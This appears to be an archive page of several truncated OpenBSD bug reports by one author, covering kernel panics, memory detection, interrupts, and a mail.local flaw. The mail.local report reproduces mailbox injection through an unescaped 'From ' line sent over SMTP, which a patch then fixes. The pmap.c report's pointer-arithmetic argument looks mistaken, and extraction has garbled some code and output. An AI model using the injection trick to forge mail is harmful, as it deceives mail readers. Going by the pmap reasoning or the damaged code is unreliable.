acpi0: wakeup devices PEG0(S3) EC__(S3) HDEF(S3) RP01(S3) RP02(S3) RP03(S4) 
ARPT(S4) RP05(S3) RP06(S3) SPIT(S3) XHC1(S3) ADP1(S3) LID0(S3)
acpitimer0 at acpi0: 3579545 Hz, 24 bits
acpihpet0 at acpi0: 14318179 Hz
acpimadt0 at acpi0 addr 0xfee0: PC-AT compat
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: Intel(R) Core(TM) i5-5287U CPU @ 2.90GHz, 2800.35 MHz, 06-3d-04
cpu0: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,SDBG,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,3DNOWP,PERF,ITSC,FSGSBASE,TSC_ADJUST,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,RDSEED,ADX,SMAP,PT,SRBDS_CTRL,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,SENSOR,ARAT,XSAVEOPT,MELTDOWN
cpu0: 256KB 64b/line 8-way L2 cache
cpu0: smt 0, core 0, package 0
mtrr: Pentium Pro MTRR support, 10 var ranges, 88 fixed ranges
cpu0: apic clock running at 100MHz
cpu0: mwait min=64, max=64, C-substates=0.2.1.2.4.1.1.1, IBE
cpu1 at mainbus0: apid 2 (application processor)
cpu1: Intel(R) Core(TM) i5-5287U CPU @ 2.90GHz, 2800.01 MHz, 06-3d-04
cpu1: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,SDBG,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,3DNOWP,PERF,ITSC,FSGSBASE,TSC_ADJUST,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,RDSEED,ADX,SMAP,PT,SRBDS_CTRL,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,SENSOR,ARAT,XSAVEOPT,MELTDOWN
cpu1: 256KB 64b/line 8-way L2 cache
cpu1: smt 0, core 1, package 0
cpu2 

December 26th snapshot bsd.rd is panic'ing

[pjp]

>Synopsis:  december 26th macppc snapshot panics
>Category:  powerpc
>Environment:
System  : OpenBSD 6.6
Details : OpenBSD 6.6 (GENERIC.MP) #603: Fri Oct  4 13:45:51 MDT 
2019
 
dera...@macppc.openbsd.org:/usr/src/sys/arch/macppc/compile/GENERIC.MP

Architecture: OpenBSD.macppc
Machine : macppc
>Description:
The new snapshot panics in bsd.rd it goes so fast that I cannot see
where nor debug it, the box reboots.  I tried bsd (not mp) and it
doesn't panic, but complains about a new ABI (I guess), It shouldn't
run this old userland anyhow.
>How-To-Repeat:
An older current is tried to be updated.  I have in the meanwhile since
october added a few external USB cards and Ethernet quad card.  I have
also added a DVI-to-HDMI converter, I'm not sure if this could be the
cause.
>Fix:
Not known yet, I wanted to get this out there, in case anyone knows
where the problem may lie based on the dmesg.


dmesg:
OpenBSD 6.6 (GENERIC.MP) #603: Fri Oct  4 13:45:51 MDT 2019
dera...@macppc.openbsd.org:/usr/src/sys/arch/macppc/compile/GENERIC.MP
real mem = 0 (0MB)
avail mem = 2020229120 (1926MB)
mpath0 at root
scsibus0 at mpath0: 256 targets
mainbus0 at root: model PowerMac7,3
cpu0 at mainbus0: 970FX (Revision 0x300): 1800 MHz
cpu1 at mainbus0: 970FX (Revision 0x300): 1800 MHz
mem0 at mainbus0
spdmem0 at mem0: 1GB DDR SDRAM non-parity PC3200CL2.5
spdmem1 at mem0: 1GB DDR SDRAM non-parity PC3200CL2.5
spdmem2 at mem0: 1GB DDR SDRAM non-parity PC3200CL2.5
spdmem3 at mem0: 1GB DDR SDRAM non-parity PC3200CL2.5
memc0 at mainbus0: u3 rev 0xb3
kiic0 at memc0 offset 0xf8001000
iic0 at kiic0
lmtemp0 at iic0 addr 0x4a: ds1775
maxtmp0 at iic0 addr 0x4c: max6690
maxtmp1 at iic0 addr 0x4e: max6690
"cy28508" at iic0 addr 0x69 not configured
"cy2213" at iic0 addr 0x65 not configured
fcu0 at iic0 addr 0xaf
"pca9556" at iic0 addr 0x18 not configured
adc0 at iic0 addr 0x2c: ad7417
"24256" at iic0 addr 0x50 not configured
"pca9556" at iic0 addr 0x19 not configured
adc1 at iic0 addr 0x2d: ad7417
"24256" at iic0 addr 0x51 not configured
"dart" at memc0 offset 0xf8033000 not configured
"mpic" at memc0 offset 0xf804 not configured
mpcpcibr0 at mainbus0 pci: u3-agp
pci0 at mpcpcibr0 bus 0
pchb0 at pci0 dev 11 function 0 "Apple U3 AGP" rev 0x00
appleagp0 at pchb0
agp0 at appleagp0: aperture at 0x0, size 0x1000
vgafb0 at pci0 dev 16 function 0 "NVIDIA GeForce FX 5200 Ultra" rev 0xa1
wsdisplay0 at vgafb0 mux 1: console (std, vt100 emulation)
wsdisplay0: screen 1-5 added (std, vt100 emulation)
ht0 at mainbus0: u3-ht, 6 devices
pci1 at ht0 bus 0
hpb0 at pci1 dev 1 function 0 "Apple U3" rev 0x00: 85 sources
pci2 at hpb0 bus 1
macobio0 at pci2 dev 7 function 0 "Apple K2 Macio" rev 0x60
openpic0 at macobio0 offset 0x4: version 0x4614 feature 770302 LE
macgpio0 at macobio0 offset 0x50
"pmu-interrupt" at macgpio0 offset 0x9 not configured
"programmer-switch" at macgpio0 offset 0x11 not configured
"modem-reset" at macgpio0 offset 0x1d not configured
"modem-power" at macgpio0 offset 0x1e not configured
"fcu-interrupt" at macgpio0 offset 0x15 not configured
"fcu-hw-reset" at macgpio0 offset 0x3a not configured
"slewing-done" at macgpio0 offset 0x23 not configured
"codec-input-data-mux" at macgpio0 offset 0xb not configured
"line-input-detect" at macgpio0 offset 0xc not configured
"codec-error-irq" at macgpio0 offset 0xd not configured
"dig-hw-reset" at macgpio0 offset 0x14 not configured
"line-output-detect" at macgpio0 offset 0x16 not configured
"headphone-detect" at macgpio0 offset 0x17 not configured
"codec-irq" at macgpio0 offset 0x18 not configured
"headphone-mute" at macgpio0 offset 0x1f not configured
"amp-mute" at macgpio0 offset 0x20 not configured
"hw-reset" at macgpio0 offset 0x24 not configured
"line-output-mute" at macgpio0 offset 0x25 not configured
"codec-clock-mux" at macgpio0 offset 0x26 not configured
"escc-legacy" at macobio0 offset 0x12000 not configured
zs0 at macobio0 offset 0x13000: irq 22,23
zstty0 at zs0 channel 0
zstty1 at zs0 channel 1
kiic1 at macobio0 offset 0x18000
iic1 at kiic1
aoa0 at macobio0 offset 0x1: irq 30,1,2
"timer" at macobio0 offset 0x15000 not configured
adb0 at macobio0 offset 0x16000
apm0 at adb0: battery flags 0x9, 0% charged
piic0 at adb0
iic2 at piic0
"fans" at macobio0 offset 0x4c not configured
audio0 at aoa0
ohci0 at pci2 dev 8 function 0 "Apple K2 USB" rev 0x00: irq 27, version 1.0, 
legacy support
ohci1 at pci2 dev 9 function 0 "Apple K2 USB" rev 0x00: irq 28, version 1.0, 
legacy support
usb0 at ohci0: USB revision 1.0
uhub0 at usb0 configuration 1 interface 0 "Apple OHCI root hub" rev 1.00/1.00 
addr 1
usb1 at ohci1: USB revision 1.0
uhub1 at usb1 configuration 1 interface 0 "Apple OHCI root hub" rev 1.00/1.00 
addr 1
ppb0 at pci1 dev 2 function 0 "Apple U3" rev 0x00
pci3 at ppb0 bus 5
bwi0 at pci3 dev 1 function 0 "Broadcom BCM4306" rev 

panic in VOP (memory related)

[pjp]

>Synopsis:  panic in VOP (memory related)
>Category:  kernel
>Environment:
System  : OpenBSD 6.5
Details : OpenBSD 6.5 (GENERIC.MP) #1356: Sat Apr 13 15:16:41 MDT 
2019
 
dera...@i386.openbsd.org:/usr/src/sys/arch/i386/compile/GENERIC.MP

Architecture: OpenBSD.i386
Machine : i386
>Description:
After changing from a trunk failover to a trunk lacp I noticed a 
panic 3 days later.  It may be unrelated though.  This computer also runs
a BIND named with TSIG'ed forwarders.  Also this box is vanilla 6.5 with
no patches afaik.

Script started on Tue Jun 18 15:52:25 2019
saturn# cu -l /dev/cuaU0 -s 115200
Connected to /dev/cuaU0 (speed 115200)
show panic
malloc: out of space in kmem_map
ddb{1}> bt
db_enter() at db_enter+0x4
panic() at panic+0xcc
malloc(1,7f,1) at malloc+0x601
ufs_readdir(fb83c978) at ufs_readdir+0xdd
VOP_READDIR(d341726c,fb83c9c0,d349ad20,fb83c9b4) at VOP_READDIR+0x47
sys_getdents(d2c335dc,fb83ca30,fb83ca28) at sys_getdents+0x138
syscall(fb83ca70) at syscall+0x25e
Xsyscall_untramp(2b,246,cf7ce0c4,33,0) at Xsyscall_untramp+0xa9
end of kernel
ddb{1}> ps
   PID TID   PPIDUID  S   FLAGS  WAIT  COMMAND
*82004  250927  90998  0  70x12find
 90998  463353  61977  0  30x10008a  pause sh
 61977  491445  59318  0  30x10008a  pause sh
 59318  280811   2432  0  30x100090  piperdcron
 514699786   4833  0  30x100083  ttyin ksh
  4833   79481  44872   1000  30x10008b  pause ksh
 44872  506679  90735   1000  30x90  selectsshd
 90735  103812  52066  0  30x92  poll  sshd
 72995  334323  1741  30x98  sigwait   named
 72995  241894  1741  3   0x490  fsleepnamed
 72995  478553  1741  3   0x490  fsleepnamed
 72995  213039  1741  3   0x490  fsleepnamed
 72995  459014  1741  3   0x490  kqreadnamed
 51692  281771  1  0  30x80  kqreadapmd
  8376  214098  1  0  30x100083  ttyin getty
 88506  212288  1  0  30x100083  ttyin getty
 54578  419748  1  0  30x100083  ttyin getty
 43812   76222  1  0  30x100083  ttyin getty
  7639  275556  1  0  30x100083  ttyin getty
 36544  357093  1  0  30x100083  ttyin getty
  2432   52659  1  0  30x100098  poll  cron
-30552or294329  1 99  30x100090  poll  sndiod
-29305ore27672  1110  30x100090  poll  sndiod
 36118  129582  29216 95  30x100092  kqreadsmtpd
 21400  119838  29216103  30x100092  kqreadsmtpd
 24042  317812  29216 95  30x100092  kqreadsmtpd
 53392   13677  29216 95  30x100092  kqreadsmtpd
 94681  319002  29216 95  30x100092  kqreadsmtpd
 95503   61245  29216 95  30x100092  kqreadsmtpd
 29216  344734  1  0  30x100080  kqreadsmtpd
 52066  219650  1  0  30x80  selectsshd
 38759  110608   9470 83  30x100092  poll  ntpd
  9470  206353  66304 83  30x100092  poll  ntpd
 66304  269532  1  0  30x100080  poll  ntpd
 63037  272766  49277 74  30x100092  bpf   pflogd
 49277  461075  1  0  30x80  netio pflogd
 16256  250727  80346 73  30x100090  kqreadsyslogd
 80346  153115  1  0  30x100082  netio syslogd
 62821  389914  0  0  3 0x14200  pgzerozerothread
  3520  174281  0  0  3 0x14200  aiodoned  aiodoned
 12773  513074  0  0  3 0x14200  syncerupdate
 67870  378242  0  0  3 0x14200  cleaner   cleaner
 34835  317153  0  0  3 0x14200  reaperreaper
 10663  336018  0  0  3 0x14200  pgdaemon  pagedaemon
 48171  492791  0  0  3 0x14200  bored crynlk
-50203or523271  0  0  3 0x14200  bored crypto
 13291  324418  0  0  3 0x14200  usbtskusbtask
 62988  271438  0  0  3 0x14200  usbatsk   usbatsk
 77058  323742  0  0  3 0x14200  bored i915-hangcheck
  8286  412695  0  0  3 0x14200  bored i915-dp
 31829   22624  0  0  3 0x14200  bored i915
 45420  129928  0  0  3 0x14200  bored sensors
  4544  493833  0  0  3  0x40014200  acpi0 acpi0
 75453   97411  0  0  3  0x40014200idle1
 21036  325882  0  0  3 0x14200  bored softnet
 938054127  0  0  3 0x14200  bored systqmp
 84409  167054  0  0  3 0x14200  bored systq
 66609  397062  0  0  3  

some weird MDA behaviour

[pjp]

>Synopsis:  some weird MDA behaviour, including readers (mutt, dovecot)
>Category:  system
>Environment:
System  : OpenBSD 6.4
Details : OpenBSD 6.4 (GENERIC) #349: Thu Oct 11 13:25:13 MDT 2018
 
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC

Architecture: OpenBSD.amd64
Machine : amd64
>Description:
Hi, earlier today someone posted a mail to misc@ which was not well
received by mutt and dovecot becuase it has a "From " line in it.
Usually those should be escaped when being delivered (with a >).
I did speak to gilles on #opensmtpd about it but I was confused as
to what the mail.local source code really is.  I looked at the wrong
part.  So I set up my test environment and tried to reproduce on 6.4.
I even produced a patch, later below.
>How-To-Repeat:
Script started on Thu Nov  8 16:49:30 2018
upsilon$ telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 upsilon.virgostar.net ESMTP OpenSMTPD
helo remote
250 upsilon.virgostar.net Hello remote [127.0.0.1], pleased to meet you
mail from: 
250 2.0.0: Ok
rcpt to: 
250 2.1.5 Destination address valid: Recipient ok
data
354 Enter mail, end with "." on a line by itself
From: 
To: 
Subject: testing


upsilon# head /var/mail/root
>From dera...@do-not-reply.openbsd.org Sun Apr 15 06:30:00 MDT 2018
Return-Path: root
Date: Apr 15 06:30:00 MDT 2018
From: dera...@do-not-reply.openbsd.org (Theo de Raadt)
To: root
Subject: Welcome to OpenBSD 6.3!

This message attempts to describe the most basic initial questions that a
system administrator of an OpenBSD box might have.  You are urged to save
this message for later reference.

-peter


.
250 2.0.0: b44401e2 Message accepted for delivery
quit
221 2.0.0: Bye
Connection closed by foreign host.
upsilon$ mailq
Mail version 8.1.2 01/15/2001.  Type ? for help.
"/var/mail/pjp": 2 messages 1 new
1 pjp@upsilon.virgo  Thu Nov  8 16:49   31/1094  test
>N  2 p...@centroid.eu   Thu Nov  8 16:50   37/1318  testing
& q
Held 2 messages in /var/mail/pjp
upsilon$ telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 upsilon.virgostar.net ESMTP OpenSMTPD
helo remote
250 upsilon.virgostar.net Hello remote [127.0.0.1], pleased to meet you
mail from: 
250 2.0.0: Ok
rcptoto: 
250 2.1.5 Destination address valid: Recipient ok
data
354 Enter mail, end with "." on a line by itself
From: 
To: 
Subject: testing


upsilon# head /var/mail/root
>From dera...@do-not-reply.openbsd.org Sun Apr 15 06:30:00 MDT 2018
Return-Path: root
Date: Apr 15 06:30:00 MDT 2018
From: dera...@do-not-reply.openbsd.org (Theo de Raadt)
To: root
Subject: Welcome to OpenBSD 6.3!

This message attempts to describe the most basic initial questions that a
system administrator of an OpenBSD box might have.  You are urged to save
this message for later reference.

-peter
.
250 2.0.0: 287ec1b8 Message accepted for delivery
quit
221 2.0.0: Bye
Connection closed by foreign host.
upsilon$ mutt

upsilon$ mail
Mail version 8.1.2 01/15/2001.  Type ? for help.
"/var/mail/pjp": 3 messages 2 unread
1 pjp@upsilon.virgo  Thu Nov  8 16:49   31/1094  test
>U  2 p...@centroid.eu   Thu Nov  8 16:50   38/1329  testing
 U  3 p...@centroid.eu   Thu Nov  8 16:50   43/1395  testing
& q
Held 3 messages in /var/mail/pjp
Script done on Thu Nov  8 16:51:53 2018

for some reason the "mail" program seems to render it right.  But
mutt doesn't it showed the Welcome mail that I "injected" as a 
seperate mail.
>Fix:
I wrote this patch to /usr/libexec/mail.local there was a variable
that didn't seem to have any effect and it caused skipping the
"From " check becuase it was always set to 0 except for the first
line.

Index: mail.local.c
===
RCS file: /cvs/src/libexec/mail.local/mail.local.c,v
retrieving revision 1.35
diff -u -p -u -r1.35 mail.local.c
--- mail.local.c12 Dec 2015 20:09:28 -  1.35
+++ mail.local.c8 Nov 2018 16:05:47 -
@@ -117,7 +117,7 @@ storemail(char *from)
 {
FILE *fp = NULL;
time_t tval;
-   int fd, eline;
+   int fd;
size_t len;
char *line, *tbuf;
 
@@ -131,7 +131,7 @@ storemail(char *from)
(void)time();
(void)fprintf(fp, "From %s %s", from, ctime());
 
-   for (eline = 1, tbuf = NULL; (line = fgetln(stdin, ));) {
+   for (tbuf = NULL; (line = fgetln(stdin, ));) {
/* We have to NUL-terminate the line since fgetln does not */
if (line[len - 1] == '\n')
line[len - 1] = '\0';
@@ -143,13 +143,10 @@ storemail(char *from)
tbuf[len] = 

bug in powerpc pmap.c

[pjp]

>Synopsis:  bug in powerpc pmap.c
>Category:  kernel
>Environment:
System  : OpenBSD 6.3
Details : OpenBSD 6.3-current (GENERIC.MP) #10: Mon Jul  9 14:57:07 
CEST 2018
 
p...@iota.centroid.eu:/usr/src/sys/arch/macppc/compile/GENERIC.MP

Architecture: OpenBSD.macppc
Machine : macppc
>Description:
Hi, in several spots (for the G5) in sys/arch/powerpc/powerpc/pmap.c 
there is a call to pteidx() shortly after that is construct such as:
--
/* first just try fill of primary hash */
ptp64 = pmap_ptable64 + (idx) * 8;
--

I believe in the design this is wrong, follow me:

If a system has 64 MB RAM, there is 16384 pages max.  This means that
in pmap_bootstrap()  pmap_ptab_cnt = 8192 pages and pmap_ptab_mask is
equal to 8191 pages, this multiplied with HTABMEMSZ_64 is the extent of 
the paging table area.

The result of the idx from pteidx() is in pages not any other number.
it is also AND'ed on return with pmap_ptab_mask and thus cannot be
larger than 8191 pages.

ptp64 = pmap_ptable64 + (idx) * 8;

should be rewritten as:

ptp64 = pmap_ptable64;
ptp64 += (idx * 8);

Because pmap_ptable64 is an offset in physical RAM (a pointer).
ptp64 is a struct pte_64 * which has size 16 bytes (2 64 bit ints).

so when pteidx() returns maximum 8191 pages as idx, it's really
16 bytes * 8191 pages * 8 in the formula which equals 1048448 bytes.
which is exactly at the boundary of HTABMEMSZ_64 (8191 * 8 * 16).

With "ptp64 = pmap_ptable64 + (idx) * 8" that is not achieved so
some PTEG's never get reached.  What it does is it sees the (idx) * 8
as an offset to address of pmap_ptable64.

I have provided a test program that shows the hex locations of both
methods to back this up.   It's in the how to repeat section.

Maybe I'm just confused though, for that I apologize if I'm wrong here.

>How-To-Repeat:
#include 
#include 

int
main(void)
{
char *addresslocation;
struct {
u_int64_t a;
u_int64_t b;
} *mys;

int pmap_ptab_cnt = 8192;
int pmap_ptab_mask = 8191;

addresslocation = malloc(64 * 1024 * 1024);
if (addresslocation == NULL)
exit(1);

mys = addresslocation;

printf("start: %llx\n", addresslocation);

printf("mys before\n");
printf("mys: %llx\n", mys);

mys = addresslocation + (pmap_ptab_mask) * 8;

printf("mys: %llx\n", mys);
printf("mys after\n");

mys = addresslocation;
printf("mys: %llx\n", mys);

mys += pmap_ptab_mask * 8;
printf("mys: %llx\n", mys);
}
>Fix:
I have made a patch and tested it once.  The machine is still alive.
Index: pmap.c
===
RCS file: /cvs/src/sys/arch/powerpc/powerpc/pmap.c,v
retrieving revision 1.167
diff -u -p -u -r1.167 pmap.c
--- pmap.c  16 May 2017 20:52:54 -  1.167
+++ pmap.c  9 Jul 2018 12:54:34 -
@@ -2334,7 +2334,9 @@ pte_insert64(struct pte_desc *pted)
 */
 
/* first just try fill of primary hash */
-   ptp64 = pmap_ptable64 + (idx) * 8;
+   ptp64 = pmap_ptable64;
+   ptp64 += (idx) * 8;
+   
for (i = 0; i < 8; i++) {
if (ptp64[i].pte_hi & PTE_VALID_64)
continue;
@@ -2352,7 +2354,8 @@ pte_insert64(struct pte_desc *pted)
}
 
/* try fill of secondary hash */
-   ptp64 = pmap_ptable64 + (idx ^ pmap_ptab_mask) * 8;
+   ptp64 = pmap_ptable64;
+   ptp64 += (idx ^ pmap_ptab_mask) * 8;
for (i = 0; i < 8; i++) {
if (ptp64[i].pte_hi & PTE_VALID_64)
continue;
@@ -2378,7 +2381,8 @@ pte_insert64(struct pte_desc *pted)
 
idx = (idx ^ (PTED_HID(pted) ? pmap_ptab_mask : 0));
 
-   ptp64 = pmap_ptable64 + (idx * 8);
+   ptp64 = pmap_ptable64;
+   ptp64 += (idx * 8);
ptp64 += PTED_PTEGIDX(pted); /* increment by index into pteg */
 
if (ptp64->pte_hi & PTE_VALID_64) {


dmesg:
OpenBSD 6.3-current (GENERIC.MP) #10: Mon Jul  9 14:57:07 CEST 2018
p...@iota.centroid.eu:/usr/src/sys/arch/macppc/compile/GENERIC.MP
real mem = 4294963200 (4095MB)
avail mem = 2020466688 (1926MB)
mpath0 at root
scsibus0 at mpath0: 256 targets
mainbus0 at root: model PowerMac7,3
cpu0 at mainbus0: 970FX (Revision 0x300): 1800 MHz
cpu1 at mainbus0: 970FX (Revision 0x300): 1800 MHz
mem0 at mainbus0
spdmem0 at mem0: 1GB DDR SDRAM non-parity PC3200CL2.5
spdmem1 at mem0: 1GB DDR SDRAM non-parity PC3200CL2.5
spdmem2 at mem0: 1GB DDR SDRAM non-parity PC3200CL2.5
spdmem3 at mem0: 1GB DDR SDRAM non-parity PC3200CL2.5
memc0 at mainbus0: u3 rev 0xb3
kiic0 at memc0 offset 

physmem is 0 on this G5 macppc

[pjp]

>Synopsis:  physmem is reported as 0 on this G5 macppc
>Category:  kernel
>Environment:
System  : OpenBSD 6.3
Details : OpenBSD 6.3-current (GENERIC.MP) #106: Tue Jul  3 
18:16:21 MDT 2018
 
dera...@macppc.openbsd.org:/usr/src/sys/arch/macppc/compile/GENERIC.MP

Architecture: OpenBSD.macppc
Machine : macppc
>Description:
As you can see from the dmesg the physmem is reported as 0MB.

real mem = 0 (0MB)
avail mem = 2020474880 (1926MB)

This has side-effects on disklabel in the installer as swap seems
to be shared with the /tmp filesystem probably due to disklabel
reading physmem per sysctl and doing multiplication.  What then
results is that /tmp partition is on wd0b with swap and does not
get mounted (device busy) as it is consumed by swap.  The root
cause of this is probably the kernel's memory detection.

>How-To-Repeat:
I bought this computer a few days ago for 185 EUR used, here is some
quick specs.

Apple G5 PowerMac, 2 x 1.8 GHz CPU, 4 GB RAM, 320 GB HD.

I'm gonna show you what I mean with disklabel by doing the 'A' auto
layout in disklabel -E:

> A
> p
OpenBSD area: 4096-625142448; size: 625138352; free: 48
#size   offset  fstype [fsize bsize   cpg]
  a:  2097152 4096  4.2BSD   2048 16384 1 # /
  b:  8388608  2101248  4.2BSD   2048 16384 1 # /tmp
  c:6251424480  unused
  d:  8388608 10489856  4.2BSD   2048 16384 1 # /var
  e:  4194304 18878464  4.2BSD   2048 16384 1 # /usr
  f:  2097152 23072768  4.2BSD   2048 16384 1 # /usr/X11R6
  g: 20971520 25169920  4.2BSD   2048 16384 1 # /usr/local
  h:  4194304 46141440  4.2BSD   2048 16384 1 # /usr/src
  i: 20481   MSDOS
  j: 12582912 50335744  4.2BSD   2048 16384 1 # /usr/obj
  k:562223744 62918656  4.2BSD   4096 32768 1 # /home
> x


>Fix:
I looked over /sys/arch/macppc/macppc/ofw_machdep.c and here is where
physmem gets seeded from physpages.  However I wasn't able to make out
why or how, and having slept on it I thought I'd write a bug report 
before going further.  I have also explored a little in openfirmware
and have made this photo:  http://centroid.eu/private/iota-memory.jpg

I don't know if it'll help though, and it is partially cut off.

I'm really happy about this purchase and hope there is a future for
G5 in the macppc port.  



dmesg:
OpenBSD 6.3-current (GENERIC.MP) #106: Tue Jul  3 18:16:21 MDT 2018
dera...@macppc.openbsd.org:/usr/src/sys/arch/macppc/compile/GENERIC.MP
real mem = 0 (0MB)
avail mem = 2020474880 (1926MB)
mpath0 at root
scsibus0 at mpath0: 256 targets
mainbus0 at root: model PowerMac7,3
cpu0 at mainbus0: 970FX (Revision 0x300): 1800 MHz
cpu1 at mainbus0: 970FX (Revision 0x300): 1800 MHz
mem0 at mainbus0
spdmem0 at mem0: 1GB DDR SDRAM non-parity PC3200CL2.5
spdmem1 at mem0: 1GB DDR SDRAM non-parity PC3200CL2.5
spdmem2 at mem0: 1GB DDR SDRAM non-parity PC3200CL2.5
spdmem3 at mem0: 1GB DDR SDRAM non-parity PC3200CL2.5
memc0 at mainbus0: u3 rev 0xb3
kiic0 at memc0 offset 0xf8001000
iic0 at kiic0
lmtemp0 at iic0 addr 0x4a: ds1775
maxtmp0 at iic0 addr 0x4c: max6690
maxtmp1 at iic0 addr 0x4e: max6690
"cy28508" at iic0 addr 0x69 not configured
"cy2213" at iic0 addr 0x65 not configured
fcu0 at iic0 addr 0xaf
"pca9556" at iic0 addr 0x18 not configured
adc0 at iic0 addr 0x2c: ad7417
"24256" at iic0 addr 0x50 not configured
"pca9556" at iic0 addr 0x19 not configured
adc1 at iic0 addr 0x2d: ad7417
"24256" at iic0 addr 0x51 not configured
"dart" at memc0 offset 0xf8033000 not configured
"mpic" at memc0 offset 0xf804 not configured
mpcpcibr0 at mainbus0 pci: u3-agp
pci0 at mpcpcibr0 bus 0
pchb0 at pci0 dev 11 function 0 "Apple U3 AGP" rev 0x00
appleagp0 at pchb0
agp0 at appleagp0: aperture at 0x0, size 0x1000
vgafb0 at pci0 dev 16 function 0 "NVIDIA GeForce FX 5200 Ultra" rev 0xa1
wsdisplay0 at vgafb0 mux 1: console (std, vt100 emulation)
wsdisplay0: screen 1-5 added (std, vt100 emulation)
ht0 at mainbus0: u3-ht, 6 devices
pci1 at ht0 bus 0
hpb0 at pci1 dev 1 function 0 "Apple U3" rev 0x00: 85 sources
pci2 at hpb0 bus 1
macobio0 at pci2 dev 7 function 0 "Apple K2 Macio" rev 0x60
openpic0 at macobio0 offset 0x4: version 0x4614 feature 770302 LE
macgpio0 at macobio0 offset 0x50
"pmu-interrupt" at macgpio0 offset 0x9 not configured
"programmer-switch" at macgpio0 offset 0x11 not configured
"modem-reset" at macgpio0 offset 0x1d not configured
"modem-power" at macgpio0 offset 0x1e not configured
"fcu-interrupt" at macgpio0 offset 0x15 not configured
"fcu-hw-reset" at macgpio0 offset 0x3a 

2012 Mac Mini shows ~45% intr in CPU thread 0

[pjp]

>Synopsis:  2012 Mac Mini shows ~50% intr in CPU thread 0
>Category:  system
>Environment:
System  : OpenBSD 6.3
Details : OpenBSD 6.3-current (GENERIC.MP) #83: Mon Jul  2 10:36:36 
MDT 2018
 
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP

Architecture: OpenBSD.amd64
Machine : amd64
>Description:
A top output:
load averages:  0.06,  0.01,  0.00   earth.centroid.eu 08:43:19
44 processes: 43 idle, 1 on processor  up 13:05
CPU0:  0.0% user,  0.0% nice,  0.0% sys,  0.2% spin, 43.8% intr, 56.0% idle
CPU1:  0.0% user,  0.0% nice,  0.1% sys,  0.0% spin,  0.0% intr, 99.9% idle
CPU2:  0.0% user,  0.0% nice,  0.1% sys,  0.0% spin,  0.0% intr, 99.9% idle
CPU3:  0.0% user,  0.0% nice,  0.0% sys,  0.0% spin,  0.0% intr,  100% idle
CPU4:  0.0% user,  0.0% nice,  0.0% sys,  0.0% spin,  0.0% intr,  100% idle
CPU5:  0.0% user,  0.0% nice,  0.0% sys,  0.0% spin,  0.0% intr,  100% idle
CPU6:  0.0% user,  0.0% nice,  0.0% sys,  0.0% spin,  0.0% intr,  100% idle
CPU7:  0.0% user,  0.0% nice,  0.0% sys,  0.0% spin,  0.0% intr,  100% idle
Memory: Real: 71M/649M act/tot Free: 15G Cache: 443M Swap: 0K/16G

I have tried the following:
1) turn off pf, no change
2) turn off sndiod, no change (this mac mini is a sound server)
3) turn off all sorts of daemons, no change
4) turned off X11 and turned off inteldrm, no change

A vmstat -i output looks like this:

interrupt   total rate
irq0/clock   37889382  799
irq0/ipi   2045464
irq144/acpi010
irq145/inteldrm0385290
irq102/xhci0 95540
irq103/ehci0   230
irq176/azalia0 3573127
irq114/bge0519009   10
irq108/ehci1  2050
irq109/ahci0880771
Total39106638  825

Have you seen this?  Is it just my computer?  

Here is one more fact on this computer:

dual boots with refind between mac os high sierra and openbsd-current.

>How-To-Repeat:
unknown.
>Fix:
unknown.


dmesg:
OpenBSD 6.3-current (GENERIC.MP) #83: Mon Jul  2 10:36:36 MDT 2018
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP
real mem = 17063546880 (16273MB)
avail mem = 16537944064 (15771MB)
mpath0 at root
scsibus0 at mpath0: 256 targets
mainbus0 at root
bios0 at mainbus0: SMBIOS rev. 2.4 @ 0x8ad12000 (83 entries)
bios0: vendor Apple Inc. version "MM61.88Z.010E.B00.180436" date 04/11/2018
bios0: Apple Inc. Macmini6,2
acpi0 at bios0: rev 2
acpi0: sleep states S0 S3 S4 S5
acpi0: tables DSDT FACP HPET APIC SBST ECDT SSDT SSDT SSDT SSDT SSDT SSDT SSDT 
SSDT SSDT SSDT SSDT SSDT DMAR MCFG
acpi0: wakeup devices P0P2(S3) EC__(S3) GMUX(S3) HDEF(S3) RP01(S3) GIGE(S3) 
SDXC(S3) RP02(S3) ARPT(S3) RP03(S3) EHC1(S3) EHC2(S3) XHC1(S3)
acpitimer0 at acpi0: 3579545 Hz, 24 bits
acpihpet0 at acpi0: 14318179 Hz
acpimadt0 at acpi0 addr 0xfee0: PC-AT compat
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: Intel(R) Core(TM) i7-3615QM CPU @ 2.30GHz, 2295.12 MHz
cpu0: 
